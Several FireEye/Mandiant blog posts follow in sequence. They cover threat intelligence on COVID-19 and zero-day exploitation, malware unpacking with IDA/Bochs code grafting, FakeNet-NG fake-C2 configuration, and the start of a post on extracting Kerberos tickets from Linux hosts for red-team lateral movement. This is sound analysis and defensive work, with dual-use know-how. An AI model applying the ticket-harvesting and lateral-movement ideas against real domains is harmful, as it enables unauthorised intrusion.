The speed with which attackers exploit patched vulnerabilities emphasizes the importance of patching as quickly as possible. With the sheer quantity of vulnerabilities disclosed each year, however, it can be difficult for organizations with limited resources and business constraints to implement an effective strategy for prioritizing the most dangerous vulnerabilities. In upcoming blog posts, FireEye Mandiant Threat Intelligence describes our approach to vulnerability risk rating as well as strategies for making informed and realistic patch management decisions in more detail.

We recommend using this exploitation trend information to better prioritize patching schedules in combination with other factors, such as known active threats to an organization's industry and geopolitical context, the availability of exploit and PoC code, commonly impacted vendors, and how widely software is deployed in an organization's environment may help to mitigate the risk of a large portion of malicious activity.

Register today to hear FireEye Mandiant Threat Intelligence experts discuss the latest in vulnerability threats, trends and recommendations in our upcoming April 30 webinar.

# Limited Shifts in the Cyber Threat Landscape Driven by COVID-19

Though COVID-19 has had enormous effects on our society and economy, its effects on the cyber threat landscape remain limited. For the most part, the same actors we have always tracked are behaving in the same manner they did prior to the crisis. There are some new challenges, but they are perceptible, and we—and our customers—are prepared to continue this fight through this period of unprecedented change.

The significant shifts in the threat landscape we are currently tracking include:

• The sudden major increase in a remote workforce has changed the nature and vulnerability of enterprise networks.
• Threat actors are now leveraging COVID-19 and related topics in social engineering ploys.
• We anticipate increased collection by cyber espionage actors seeking to gather intelligence on the crisis.
• Healthcare operations, related manufacturing, logistics, and administration organizations, as well as government offices involved in responding to the crisis are increasingly critical and vulnerable to disruptive attacks such as ransomware.
• Information operations actors have seized on the crisis to promote narratives primarily to domestic or near-abroad audiences.

#### Same Actors, New Content

The same threat actors and malware families that we observed prior to the crisis are largely pursuing the same objectives as before the crisis, using many of the same tools. They are simply now leveraging the crisis as a means of social engineering. This pattern of behavior is familiar. Threat actors have always capitalized on major events and crises to entice users. Many of the actors who are now using this approach have been tracked for years.

Ultimately, COVID-19 is being adopted broadly in social engineering approaches because it is has widespread, generic appeal, and there is a genuine thirst for information on the subject that encourages users to take actions when they might otherwise have been circumspect. We have seen it used by several cyber criminal and cyber espionage actors, and in underground communities some actors have created tools to enable effective social engineering exploiting the coronavirus pandemic. Nonetheless, COVID-19 content is still only used in two percent of malicious emails.

For the time being, we do not believe this social engineering will be abetting. In fact, it is likely to take many forms as changes in policy, economics, and other unforeseen consequences manifest. Recently we predicted a spike in stimulus related social engineering, for example. Additionally, the FBI has recently released a press release anticipating a rise in COVID-19 related Business Email Compromise (BEC) scams.

#### State Actors Likely Very Busy

Given that COVID-19 is the undoubtedly the overwhelming concern of governments worldwide for the time being, we anticipated targeting of government, healthcare, biotech, and other sectors by cyber espionage actors. We have not yet observed an incident of cyber espionage targeting COVID-19 related information; however, it is often difficult to determine what information these actors are targeting. There has been at least one case reported publicly which we have not independently confirmed.

We have seen state actors, such as those from Russia, China and North Korea, leverage COVID-19 related social engineering, but given wide interest in that subject, that does not necessarily indicate targeting of COVID-19 related information.

#### Threat to Healthcare

Though we have no reason to believe there is a sudden, elevated threat to healthcare, the criticality of these systems has probably never been greater, and thus the risk to this sector will be elevated throughout this crisis. The threat of disruption is especially disconcerting as it could affect the ability of these organizations to provide safe and timely care. This threat extends beyond hospitals to pharmaceutical companies, as well as manufacturing, administration and logistics organizations providing vital support. Additionally, many critical public health resources lie at the state and local level.

Though there is some anecdotal evidence suggesting some ransomware actors are avoiding healthcare targets, we do not expect that all actors will practice this restraint. Additionally, an attack on state and local governments, which have been a major target of ransomware actors, could have a disruptive effect on treatment and prevention efforts.

#### Remote Work

The sudden and unanticipated shift of many workers to work from home status will represent an opportunity for threat actors. Organizations will be challenged to move quickly to ensure sufficient capacity, as well as that security controls and policies are in place. Disruptive situations can reduce morale and increase stress, leading to adverse behavior such as decreasing users’ reticence to open suspicious messages, and even increasing the risk of insider threats. Distractions while working at home can cause lowered vigilance in scrutinizing and avoiding suspicious content as workers struggle to balance work and home responsibilities at the same time. Furthermore, the rapid adoption of platforms will undoubtedly lead to security mistakes and attract the attention of the threat actors.

Secure remote access will likely rely on use of VPNs and user access permissions and authentication procedures intended to limit exposure of proprietary data. Hardware and infrastructure protection should include ensuring full disk encryption on enterprise devices, maintaining visibility on devices through an endpoint security tool, and maintaining regular software updates.

For more on this issue, see our blog post on the risks associated with remote connectivity.

#### The Information Operations Threat

We have seen information operations actors promote narratives associated with COVID-19 to manipulate primarily domestic or near-abroad audiences. We observed accounts in Chinese-language networks operating in support of the People's Republic of China (PRC), some of which we previously identified to be promoting messaging pertaining to the Hong Kong protests, shift their focus to praising the PRC's response to the COVID-19 outbreak, criticizing the response of Hong Kong medical workers and the U.S. to the pandemic, and covertly promoting a conspiracy theory that the U.S. was responsible for the outbreak of the coronavirus in Wuhan.

We have also identified multiple information operations promoting COVID-19-related narratives that were aimed at Russian- and Ukrainian-speaking audiences, including some that we assess with high confidence are part of the broader suspected Russian influence campaign publicly referred to as "Secondary Infektion," as well as other suspected Russian activity. These operations have included leveraging a false hacktivist persona to spread the conspiracy theory that the U.S. developed the coronavirus in a weapons laboratory in Central Asia, taking advantage of physical protests in Ukraine to push the narrative that Ukrainians repatriated from Wuhan will infect the broader Ukrainian population, and claiming that the Ukrainian healthcare system is ill-equipped to deal with the pandemic. Other operations alleged that U.S. government or military personnel were responsible for outbreaks of the coronavirus in various countries including Lithuania and Ukraine, or insisted that U.S. personnel would contribute to the pandemic's spread if scheduled multilateral military exercises in the region were to continue as planned.

#### Outlook

It is clear that adversaries expect us to be distracted by these overwhelming events. The greatest cyber security challenge posed by COVID-19 may be our ability to stay focused on the threats that matter most. An honest assessment of the cyber security implications of the pandemic will be necessary to make efficient use of resources limited by the crisis itself.

For more information and resources that can help strengthen defenses, visit FireEye's "Managing Through Change and Crisis" site, which aggregates many resources to help organizations that are trying to navigate COVID-19 related security challenges.

# Thinking Outside the Bochs: Code Grafting to Unpack Malware in Emulation

This blog post continues the FLARE script series with a discussion of patching IDA Pro database files (IDBs) to interactively emulate code. While the fastest way to analyze or unpack malware is often to run it, malware won’t always successfully execute in a VM. I use IDA Pro’s Bochs integration in IDB mode to sidestep tedious debugging scenarios and get quick results. Bochs emulates the opcodes directly from your IDB in a Bochs VM with no OS.

Bochs IDB mode eliminates distractions like switching VMs, debugger setup, neutralizing anti-analysis measures, and navigating the program counter to the logic of interest. Alas, where there is no OS, there can be no loader or dynamic imports. Execution is constrained to opcodes found in the IDB. This precludes emulating routines that call imported string functions or memory allocators. Tom Bennett’s flare-emu ships with emulated versions of these, but for off-the-cuff analysis (especially when I don’t know if there will be a payoff), I prefer interactively examining registers and memory to adjust my tactics ad hoc.

What if I could bring my own imported functions to Bochs like flare-emu does? I’ve devised such a technique, and I call it code grafting. In this post I’ll discuss the particulars of statically linking stand-ins for common functions into an IDB to get more mileage out of Bochs. I’ll demonstrate using this on an EVILNEST sample to unpack and dump next-stage payloads from emulated memory. I’ll also show how I copied a tricky call sequence from one IDB to another IDB so I could keep the unpacking process all in a single Bochs debug session.

#### EVILNEST Scenario

My sample (MD5 hash 37F7F1F691D42DCAD6AE740E6D9CAB63 which is available on VirusTotal) was an EVILNEST variant that populates the stack with configuration data before calling an intermediate payload. Figure 1 shows this unusual call site.

Figure 1: Call site for intermediate payload

The code in Figure 1 executes in a remote thread within a hollowed-out iexplore.exe process; the malware uses anti-analysis tactics as well. I had the intermediate payload stage and wanted to unpack next-stage payloads without managing a multi-process debugging scenario with anti-analysis. I knew I could stub out a few function calls in the malware to run all of the relevant logic in Bochs. Here’s how I did it.

#### Code Carving

I needed opcodes for a few common functions to inject into my IDBs and emulate in Bochs. I built simple C implementations of selected functions and compiled them into one binary. Figure 2 shows some of these stand-ins.

Figure 2: Simple implementations of common functions

I compiled this and then used IDAPython code similar to Figure 3 to extract the function opcode bytes.

Figure 3: Function extraction

I curated a library of function opcodes in an IDAPython script as shown in Figure 4. The nonstandard function opcodes at the bottom of the figure were hand-assembled as tersely as possible to generically return specific values and manipulate the stack (or not) in conformance with calling conventions.

Figure 4: Extracted function opcodes

On top of simple functions like memcpy, I implemented a memory allocator. The allocator referenced global state data, meaning I couldn’t just inject it into an IDB and expect it to work. I read the disassembly to find references to global operands and templatize them for use with Python’s format method. Figure 5 shows an example for malloc.

Figure 5: HeapAlloc template code

I organized the stubs by name as shown in Figure 6 both to call out functions I would need to patch, and to conveniently add more function stubs as I encounter use cases for them. The mangled name I specified as an alias for free is operator delete.

Figure 6: Function stubs and associated names

To inject these functions into the binary, I wrote code to find the next available segment of a given size. I avoided occupying low memory because Bochs places its loader segment below 0x10000. Adjacent to the code in my code  segment, I included space for the data used by my memory allocator. Figure 7 shows the result of patching these functions and data into the IDB and naming each location (stub functions are prefixed with stub_).

Figure 7: Data and code injected into IDB

The script then iterates all the relevant calls in the binary and patches them with calls to their stub implementations in the newly added segment. As shown in Figure 8, IDAPython’s Assemble function saved the effort of calculating the offset for the call operand manually. Note that the Assemble function worked well here, but for bigger tasks, Hex-Rays recommends a dedicated assembler such as Keystone Engine and its Keypatch plugin for IDA Pro.

Figure 8: Abbreviated routine for assembling a call instruction and patching a call site to an import

The Code Grafting script updated all the relevant call sites to resemble Figure 9, with the target functions being replaced by calls to the stub_ implementations injected earlier. This prevented Bochs in IDB mode from getting derailed when hitting these call sites, because the call operands now pointed to valid code inside the IDB.

Figure 9: Patched operator new() call site

#### Dealing with EVILNEST

The debug scenario for the dropper was slightly inconvenient, and simultaneously, it was setting up a very unusual call site for the payload entry point. I used Bochs to execute the dropper until it placed the configuration data on the stack, and then I used IDAPython’s idc.get_bytes function to extract the resulting stack data. I wrote IDAPython script code to iterate the stack data and assemble push instructions into the payload IDB leading up to a call instruction pointing to the DLL’s export. This allowed me to debug the unpacking process from Bochs within a single session.

I clicked on the beginning of my synthesized call site and hit F4 to run it in Bochs. I was greeted with the warning in Figure 10 indicating that the patched IDB would not match the depictions made by the debugger (which is untrue in the case of Bochs IDB mode). Bochs faithfully executed my injected opcodes producing exactly the desired result.

Figure 10: Patch warning

I watched carefully as the instruction pointer approached and passed the IsDebuggerPresent check. Because of the stub I injected (stub_IsDebuggerPresent), it passed the check returning zero as shown in Figure 11.

Figure 11: Passing up IsDebuggerPresent

I allowed the program counter to advance to address 0x1A1538, just beyond the unpacking routine. Figure 12 shows the register state at this point which reflects a value in EAX that was handed out by my fake heap allocator and which I was about to visit.

Figure 12: Running to the end of the unpacker and preparing to view the result

Figure 13 shows that there was indeed an IMAGE_DOS_SIGNATURE (“MZ”) at this location. I used idc.get_bytes() to dump the unpacked binary from the fake heap location and saved it for analysis.

Figure 13: Dumping the unpacked binary

Through Bochs IDB mode, I was also able to use the interactive debugger interface of IDA Pro to experiment with manipulating execution and traversing a different branch to unpack another payload for this malware as well.

#### Conclusion

Although dynamic analysis is sometimes the fastest road, setting it up and navigating minutia detract from my focus, so I’ve developed an eye for routines that I can likely emulate in Bochs to dodge those distractions while still getting answers. Injecting code into an IDB broadens the set of functions that I can do this with, letting me get more out of Bochs. This in turn lets me do more on-the-fly experimentation, one-off string decodes, or validation of hypotheses before attacking something at scale. It also allows me to experiment dynamically with samples that won’t load correctly anyway, such as unpacked code with damaged or incorrect PE headers.

I’ve shared the Code Grafting tools as part of the flare-ida GitHub repository. To use this for your own analyses:

1. In IDA Pro’s IDAPython prompt, run code_grafter.py or import it as a module.
2. Instantiate a CodeGrafter object and invoke its graftCodeToIdb() method:
• CodeGrafter().graftCodeToIdb()
3. Use Bochs in IDB mode to conveniently execute your modified sample and experiment away!

This post makes it clear just how far I’ll go to avoid breaking eye contact with IDA. If you’re a fan of using Bochs with IDA too, then this is my gift to you. Enjoy!

# Zero-Day Exploitation Increasingly Demonstrates Access to Money, Rather than Skill — Intelligence for Vulnerability Management, Part One

One of the critical strategic and tactical roles that cyber threat intelligence (CTI) plays is in the tracking, analysis, and prioritization of software vulnerabilities that could potentially put an organization’s data, employees and customers at risk. In this four-part blog series, FireEye Mandiant Threat Intelligence highlights the value of CTI in enabling vulnerability management, and unveils new research into the latest threats, trends and recommendations.

FireEye Mandiant Threat Intelligence documented more zero-days exploited in 2019 than any of the previous three years. While not every instance of zero-day exploitation can be attributed to a tracked group, we noted that a wider range of tracked actors appear to have gained access to these capabilities. Furthermore, we noted a significant increase over time in the number of zero-days leveraged by groups suspected to be customers of companies that supply offensive cyber capabilities, as well as an increase in zero-days used against targets in the Middle East, and/or by groups with suspected ties to this region. Going forward, we are likely to see a greater variety of actors using zero-days, especially as private vendors continue feeding the demand for offensive cyber weapons.

#### Zero-Day Usage by Country and Group

Since late 2017, FireEye Mandiant Threat Intelligence noted a significant increase in the number of zero-days leveraged by groups that are known or suspected to be customers of private companies that supply offensive cyber tools and services. Additionally, we observed an increase in zero-days leveraged against targets in the Middle East, and/or by groups with suspected ties to this region.

Examples include:

• A group described by researchers as Stealth Falcon and FruityArmor is an espionage group that has reportedly targeted journalists and activists in the Middle East. In 2016, this group used malware sold by NSO group, which leveraged three iOS zero-days. From 2016 to 2019, this group used more zero-days than any other group.
• The activity dubbed SandCat in open sources, suspected to be linked to Uzbekistan state intelligence, has been observed using zero-days in operations against targets in the Middle East. This group may have acquired their zero-days by purchasing malware from private companies such as NSO group, as the zero-days used in SandCat operations were also used in Stealth Falcon operations, and it is unlikely that these distinct activity sets independently discovered the same three zero-days.
• Throughout 2016 and 2017, activity referred to in open sources as BlackOasis, which also primarily targets entities in the Middle East and likely acquired at least one zero-day in the past from private company Gamma Group, demonstrated similarly frequent access to zero-day vulnerabilities.

We also noted examples of zero-day exploitation that have not been attributed to tracked groups but that appear to have been leveraged in tools provided by private offensive security companies, for instance:

• In 2019, a zero-day exploit in WhatsApp (CVE-2019-3568) was reportedly used to distribute spyware developed by NSO group, an Israeli software company.
• FireEye analyzed activity targeting a Russian healthcare organization that leveraged a 2018 Adobe Flash zero-day (CVE-2018-15982) that may be linked to leaked source code of Hacking Team.
• Android zero-day vulnerability CVE-2019-2215 was reportedly being exploited in the wild in October 2019 by NSO Group tools.

Zero-Day Exploitation by Major Cyber Powers

We have continued to see exploitation of zero days by espionage groups of major cyber powers.

• According to researchers, the Chinese espionage group APT3 exploited CVE-2019-0703 in targeted attacks in 2016.
• FireEye observed North Korean group APT37 conduct a 2017 campaign that leveraged Adobe Flash vulnerability CVE-2018-4878. This group has also demonstrated an increased capacity to quickly exploit vulnerabilities shortly after they have been disclosed.
• From December 2017 to January 2018, we observed multiple Chinese groups leveraging CVE-2018-0802 in a campaign targeting multiple industries throughout Europe, Russia, Southeast Asia, and Taiwan. At least three out of six samples were used before the patch for this vulnerability was issued.
• In 2017, Russian groups APT28 and Turla leveraged multiple zero-days in Microsoft Office products.

In addition, we believe that some of the most dangerous state sponsored intrusion sets are increasingly demonstrating the ability to quickly exploit vulnerabilities that have been made public. In multiple cases, groups linked to these countries have been able to weaponize vulnerabilities and incorporate them into their operations, aiming to take advantage of the window between disclosure and patch application.

Zero-Day Use by Financially Motivated Actors

Financially motivated groups have and continue to leverage zero-days in their operations, though with less frequency than espionage groups.

In May 2019, we reported that FIN6 used a Windows server 2019 use-after-free zero-day (CVE-2019-0859) in a targeted intrusion in February 2019. Some evidence suggests that the group may have used the exploit since August 2018. While open sources have suggested that the group potentially acquired the zero-day from criminal underground actor "BuggiCorp," we have not identified direct evidence linking this actor to this exploit's development or sale.

#### Conclusion

We surmise that access to zero-day capabilities is becoming increasingly commodified based on the proportion of zero-days exploited in the wild by suspected customers of private companies. Possible reasons for this include:

• Private companies are likely creating and supplying a larger proportion of zero-days than they have in the past, resulting in a concentration of zero-day capabilities among highly resourced groups.
• Private companies may be increasingly providing offensive capabilities to groups with lower overall capability and/or groups with less concern for operational security, which makes it more likely that usage of zero-days will be observed.

It is likely that state groups will continue to support internal exploit discovery and development; however, the availability of zero-days through private companies may offer a more attractive option than relying on domestic solutions or underground markets. As a result, we expect that the number of adversaries demonstrating access to these kinds of vulnerabilities will almost certainly increase and will do so at a faster rate than the growth of their overall offensive cyber capabilities—provided they have the ability and will to spend the necessary funds.

Register today to hear FireEye Mandiant Threat Intelligence experts discuss the latest in vulnerability threats, trends and recommendations in our upcoming April 30 webinar.

Sourcing Note: Some vulnerabilities and zero-days were identified based on FireEye research, Mandiant breach investigation findings, and other technical collections. This paper also references vulnerabilities and zero-days discussed in open sources including  Google Project Zero's zero-day "In the Wild" Spreadsheet . While we believe these sources are reliable as used in this paper, we do not vouch for the complete findings of those sources. Due to the ongoing discovery of past incidents, we expect that this research will remain dynamic.

# FakeNet Genie: Improving Dynamic Malware Analysis with Cheat Codes for FakeNet-NG

As developers of the network simulation tool FakeNet-NG, reverse engineers on the FireEye FLARE team, and malware analysis instructors, we get to see how different analysts use FakeNet-NG and the challenges they face. We have learned that FakeNet-NG provides many useful features and solutions of which our users are often unaware. In this blog post, we will showcase some cheat codes to level up your network analysis with FakeNet-NG. We will introduce custom responses and demonstrate powerful features such as executing commands on connection events and decrypting SSL traffic.

Since its first release in 2016, we have improved FakeNet-NG by adding new features such as Linux support and content-based protocol detection. We recently updated FakeNet-NG with one of our most requested features: custom responses for HTTP and binary protocols.

This blog post offers seven "stages" to help you master different FakeNet-NG strategies. We present them in terms of common scenarios we encounter when analyzing malware. Feel free to skip to the section relevant to your current analysis and/or adapt them to your individual needs. The stages are presented as follows:

1. Custom File Responses
2. Custom Binary Protocols
3. Custom HTTP Responses
4. Manual Custom Responses
5. Blacklisting Processes
6. Executing Commands on Connection Events
7. Decrypting SSL Traffic

#### Before You Start: Configuring FakeNet-NG

Here is a quick reference for FakeNet-NG configurations and log data locations.

1. Configuration files are in fakenet\configs. You can modify default.ini or copy it to a new file and point FakeNet-NG to the alternate configuration with -c. Ex: fakenet.py -c custom.ini.
2. Default files are at fakenet\defaultFiles and Listener implementations are at fakenet\listeners.
3. The fakenet\configs\default.ini default configuration includes global configuration settings and individual Listener configurations.
4. Custom response configuration samples are included in the directory fakenet\configs in the files CustomProviderExample.py, sample_custom_response.ini, and sample_raw_response.txt.
5. The install location for FakeNet-NG in FLARE VM is C:\Python27\lib\site-packages\fakenet. You will find the subdirectories containing the defaultFiles, configs, and listeners in this directory.
6. In FLARE VM, FakeNet-NG packet capture files and HTTP requests can be found on the Desktop in the fakenet_logs directory

#### Stage 1: Custom File Responses

As you may have noticed, FakeNet-NG is not limited to serving HTML pages. Depending on the file type requested, FakeNet-NG can serve PE files, ELF files, JPG, GIF, etc. FakeNet-NG is configured with several default files for common types and can also be configured to serve up custom files. The defaultFiles directory contains several types of files for standard responses. For example, if malware sends an FTP GET request for evil.exe, FakeNet-NG will respond with the file defaultFiles\FakeNetMini.exe (the default response for .exe requests). This file is a valid Portable Executable file that displays a message box. By providing an actual PE file, we can observe the malware as it attempts to download and execute a malicious payload. An example FTP session and subsequent execution of the downloaded default file is shown in Figure 1.

Most requests are adequately handled by this system. However, malware sometimes expects a file with a specific format, such as an image with an embedded PowerShell script, or an executable with a hash appended to the file for an integrity check . In cases like these, you can replace one of the default files with a file that meets the malware’s expectation. There is also an option in each of the relevant Listeners (modules that implement network protocols) configurations to modify the defaultFiles path. This allows FakeNet-NG to serve different files without overwriting or modifying default data. A customized FakeNet.html file is shown in Figure 2.

Figure 2: Modify the default FakeNet.html file to customize the response

#### Stage 2: Custom Binary Protocols

Many malware samples implement custom binary protocols which require specific byte sequences. For example, malware in the GH0ST family may require each message to begin with a signature such as "GH0ST". The default FakeNet-NG RawListener responds to unknown requests with an echo, i.e. it sends the same data that it has received. This behavior is typically sufficient. However, in cases where a custom response is required, you can still send the data the malware expects.

Custom TCP and UDP responses are now possible with FakeNet-NG. Consider a hypothetical malware sample that beacons the string “Hello” to its command and control (C2) server and waits for a response packet that begins with “FLARE” followed by a numeric command (0-9). We will now demonstrate several interesting ways FakeNet-NG can handle this scenario.

##### Static Custom Response

You can configure how the TCP and/or UDP Raw Listeners respond to traffic. In this example we tell FakeNet-NG how to respond to any TCP raw request (no protocol detected). First uncomment the Custom configuration option in the RawTCPListener section of fakenet/configs/default.ini as illustrated in Figure 3.

 [RawTCPListener] Enabled:     True Port:        1337 Protocol:    TCP Listener:    RawListener UseSSL:      No Timeout:     10 Hidden:      False # To read about customizing responses, see docs/CustomResponse.md Custom:    sample_custom_response.ini

Figure 3: Activate custom TCP response

Next configure the TcpRawFile custom response in fakenet\configs\sample_custom_response.ini as demonstrated in Figure 4. Make sure to comment-out or replace the default RawTCPListener instance.

 [ExampleTCP] InstanceName:     RawTCPListener ListenerType:     TCP TcpRawFile:       flare_command.txt

Figure 4: TCP static custom response specifications

Create the file fakenet\configs\flare_command.txt with the content FLARE0. TCP responses will now be generated from the contents of the file.

##### Dynamic Custom Response

Perhaps you want to issue commands dynamically rather than committing to a specific command in flare_command.txt. This can be achieved programmatically. Configure the TcpDynamic custom response in fakenet\configs\sample_custom_response.ini as demonstrated in Figure 5. Make sure to comment-out or replace the existing RawTCPListener instance.

 [ExampleTCP] InstanceName:     RawTCPListener TcpDynamic:       flare_command.py

Figure 5: TCP dynamic custom response specifications

The file fakenet\configs\CustomProviderExample.py can be used as a template for our dynamic response file flare_command.py. We modify the HandleTcp() function and produce the new file fakenet\configs\flare_command.py as illustrated in Figure 6. Now you can choose each command as the malware executes. Figure 7 demonstrates issuing commands dynamically using this configuration.

 import socket def HandleTcp(sock):     while True:         try:             data = None             data = sock.recv(1024)         except socket.timeout:             pass         if not data:             break         resp = raw_input('\nEnter a numeric command: ')         command = bytes('FLARE' + resp + '\n')         sock.sendall(command)

Figure 6: TCP dynamic response script

Figure 7: Issue TCP dynamic commands

#### Stage 3: Custom HTTP Responses

Malware frequently implements its own encryption scheme on top of the popular HTTP protocol. For example, your sample may send an HTTP GET request to /comm.php?nonce=<random> and expect the C2 server response to be RC4 encrypted with the nonce value. This process is illustrated in Figure 8. How can we easily force the malware to execute its critical code path to observe or debug its behaviors?

Figure 8: Malware example that expects a specific key based on beacon data

For cases like these we recently introduced support for HTTP custom responses. Like TCP custom responses, the HTTPListener also has a new setting named Custom that enables dynamic HTTP responses. This setting also allows FakeNet-NG to select the appropriate responses matching specific hosts or URIs. With this feature, we can now quickly write a small Python script to handle the HTTP traffic dynamically based upon our malware sample.

Start by uncommenting the Custom configuration option in the HTTPListener80 section as illustrated in Figure 9.

 [HTTPListener80] Enabled:     True Port:        80 Protocol:    TCP Listener:    HTTPListener UseSSL:      No Webroot:     defaultFiles/ Timeout:     10 #ProcessBlackList: dmclient.exe, OneDrive.exe, svchost.exe, backgroundTaskHost.exe, GoogleUpdate.exe, chrome.exe DumpHTTPPosts: Yes DumpHTTPPostsFilePrefix: http Hidden:      False # To read about customizing responses, see docs/CustomResponse.md Custom:    sample_custom_response.ini

Figure 9: HTTP Listener configuration

Next configure the HttpDynamic custom response in fakenet\configs\sample_custom_response.ini as demonstrated in Figure 10. Make sure to comment-out or replace the default HttpDynamic instance.

 [Example2] ListenerType:     HTTP HttpURIs:         comm.php HttpDynamic:      http_example.py

Figure 10: HttpDynamic configuration

The file fakenet\configs\CustomProviderExample.py can be used as a template for our dynamic response file http_example.py. We modify the HandleRequest() function as illustrated in Figure 11. FakeNet-NG will now encrypt responses dynamically with the nonce.

 import socket from arc4 import ARC4 # To read about customizing HTTP responses, see docs/CustomResponse.md def HandleRequest(req, method, post_data=None):     """Sample dynamic HTTP response handler.     Parameters     ----------     req : BaseHTTPServer.BaseHTTPRequestHandler         The BaseHTTPRequestHandler that recevied the request     method: str         The HTTP method, either 'HEAD', 'GET', 'POST' as of this writing     post_data: str         The HTTP post data received by calling rfile.read() against the         BaseHTTPRequestHandler that received the request.     """       response = 'Ahoy\r\n'     nonce = req.path.split('=')[1]     arc4 = ARC4(nonce)     response = arc4.encrypt(response)     req.send_response(200)     req.send_header('Content-Length', len(response))     req.end_headers()     req.wfile.write(response)

Figure 11: Dynamic HTTP request handler

#### Stage 4: Manual Custom Responses

For even more flexibility, the all-powerful networking utility netcat can be used to stand-in for FakeNet-NG listeners. For example, you may want to use netcat to act as a C2 server and issue commands dynamically during execution on port 80. Launch a netcat listener before starting FakeNet-NG, and traffic destined for the corresponding port will be diverted to the netcat listener. You can then issue commands dynamically using the netcat interface as seen in Figure 12.

Figure 12: Use ncat.exe to manually handle traffic

FakeNet-NG's custom response capabilities are diverse. Read the documentation to learn how to boost your custom response high score.

#### Stage 5: Blacklisting Processes

Some analysts prefer to debug malware from a separate system. There are many reasons to do this; most commonly to preserve the IDA database and other saved data when malware inevitably corrupts the environment. The process usually involves configuring two virtual machines on a host-only network. In this setup, FakeNet-NG intercepts network traffic between the two machines, which renders remote debugging impossible. To overcome this obstacle, we can blacklist the debug server by instructing FakeNet-NG to ignore traffic from the debug server process.

When debugging remotely with IDA Pro, the standard debug server process for a 32-bit Portable Executable is win32_remote.exe (or dbgsrv.exe for WinDbg). All you need to do is add the process names to the ProcessBlackList configuration as demonstrated in Figure 13. Then, the debug servers can still communicate freely with IDA Pro while all other network traffic is captured and redirected by FakeNet-NG.

 # Specify processes to ignore when diverting traffic. Windows example used here. ProcessBlackList: win32_remote.exe, dbgsrv.exe

Figure 13: Modified configs/default.ini to allow remote debugging with IDA Pro

Blacklisting is also useful to filter out noisy processes from polluting Fakenet-NG captured network traffic. Examples include processes that attempt to update the Windows system or other malware analysis tools.

#### Stage 6: Executing Commands on Connection Events

Fakenet-NG can be configured to execute commands when a connection is made to a Listener. For example, this option can be used to attach a debugger to a running sample upon a connection attempt. Imagine a scenario where we analyze the packed sample named Lab18-01.exe from the Practical Malware Analysis labs. Using dynamic analysis, we can see that the malware beacons to its C2 server over TCP port 80 using the HTTP protocol as seen in Figure 14.

Figure 14: Malware beacons to its C2 server over TCP port 80

Wouldn’t it be nice if we could magically attach a debugger to Lab18-01.exe when a connection is made? We could speedrun the sample and bypass the entire unpacking stub and any potential anti-debugging tricks the sample may employ.

To configure Fakenet-NG to launch and attach a debugger to any process, modify the [HTTPListener80] section in the fakenet\configs\default.ini to include the ExecuteCmd option. Figure 15 shows an example of a complete [HTTPListener80] section.

 [HTTPListener80] Enabled:     True Port:        80 Protocol:    TCP Listener:    HTTPListener UseSSL:      No Webroot:     defaultFiles/ Timeout:     10 DumpHTTPPosts: Yes DumpHTTPPostsFilePrefix: http Hidden:      False # Execute x32dbg –p to attach to a debugger. {pid} is filled in automatically by Fakenet-NG ExecuteCmd: x32dbg.exe -p {pid}

Figure 15: Execute command option to run and attach x32dbg

In this example, we configure the HTTPListener on port 80 to execute the debugger x32dbg.exe, which will attach to a running process whose process ID is determined at runtime. When a connection is made to HTTPListener, FakeNet-NG will automatically replace the string {pid} with the process ID of the process that makes the connection. For a complete list of supported variables, please refer to the Documentation.

Upon restarting Fakenet-NG and running the sample again, we see x32dbg launch and automatically attach to Lab18-01.exe. We can now use memory dumping tools such as Scylla or the OllyDumpEx plugin to dump the executable and proceed to static analysis. This is demonstrated in Figure 16 and Figure 17.

Figure 16: Using FakeNet-NG to attach x32dbg to the sample (animated)

Figure 17: Fakenet-NG executes x32dbg upon connection to practicalmalwareanalysis.com

#### Stage 7: Decrypting SSL Traffic

Often malware uses SSL for network communication, which hinders traffic analysis considerably as the packet data is encrypted. Using Fakenet-NG's ProxyListener, you can create a packet capture with decrypted traffic. This can be done using the protocol detection feature.

The proxy can detect SSL, and "man-in-the-middle" the socket in SSL using Python's OpenSSL library. It then maintains full-duplex connections with the malware and with the HTTP Listener, with both sides unaware of the other. Consequently, there is a stream of cleartext HTTP traffic between the Proxy and the HTTP Listener, as seen in Figure 18.

Figure 18: Cleartext streams between Fakenet-NG components

In order to keep FakeNet-NG as simple as possible, current default settings for FakeNet-NG do not have the proxy intercept HTTPS traffic on port 443 and create the decrypted stream. To proxy the data you need to set the HTTPListener443 Hidden attribute to True as demonstrated in Figure 19. This tells the proxy to intercept packets and detect the protocol based on packet contents. Please read our blog post on the proxy and protocol detection to learn more about this advanced feature.

 [HTTPListener443] Enabled:     True Port:        443 Protocol:    TCP Listener:    HTTPListener UseSSL:      Yes Webroot:     defaultFiles/ DumpHTTPPosts: Yes DumpHTTPPostsFilePrefix: http Hidden:      True

Figure 19: Hide the listener so the traffic will be proxied

We can now examine the packet capture produced by Fakenet-NG. The cleartext can be found in a TCP stream between an ephemeral port on localhost (ProxyListener) and port 80 on localhost (HTTPListener). This is demonstrated in Figure 20.

Figure 20: Cleartext traffic between HTTPListener and Proxy Listener

#### Conclusion (New Game+)

Fakenet-NG is the de facto standard network simulation tool for malware analysis. It runs without installation and is included in FLARE VM. In addition to its proven and tested default settings, Fakenet offers countless capabilities and configuration options. In this blog post we have presented several tricks to handle common analysis scenarios. To download the latest version, to see a complete list of all configuration options, or to contribute to Fakenet-NG, please see our Github repository.

# Kerberos Tickets on Linux Red Teams

At FireEye Mandiant, we conduct numerous red team engagements within Windows Active Directory environments. Consequently, we frequently encounter Linux systems integrated within Active Directory environments. Compromising an individual domain-joined Linux system can provide useful data on its own, but the best value is obtaining data, such as Kerberos tickets, that will facilitate lateral movement techniques. By passing these Kerberos Tickets from a Linux system, it is possible to move laterally from a compromised Linux system to the rest of the Active Directory domain.

There are several ways to configure a Linux system to store Kerberos tickets. In this blog post, we will introduce Kerberos and cover some of the various storage solutions. We will also introduce a new tool that extracts Kerberos tickets from domain-joined systems that utilize the System Security Services Daemon Kerberos Cache Manager (SSSD KCM).

#### What is Kerberos

Kerberos is a standardized authentication protocol that was originally created by MIT in the 1980s. The protocol has evolved over time. Today, Kerberos Version 5 is implemented by numerous products, including Microsoft Active Directory. Kerberos was originally designed to mutually authenticate identities over an unsecured communication line.

The Microsoft implementation of Kerberos is used in Active Directory environments to securely authenticate users to various services, such as the domain (LDAP), database servers (MSSQL) and file shares (SMB/CIFS). While other authentication protocols exist within Active Directory, Kerberos is one of the most popular methods. Technical documentation on how Microsoft implemented Kerberos Protocol Extensions within Active Directory can be found in the MS-KILE standards published on MSDN.

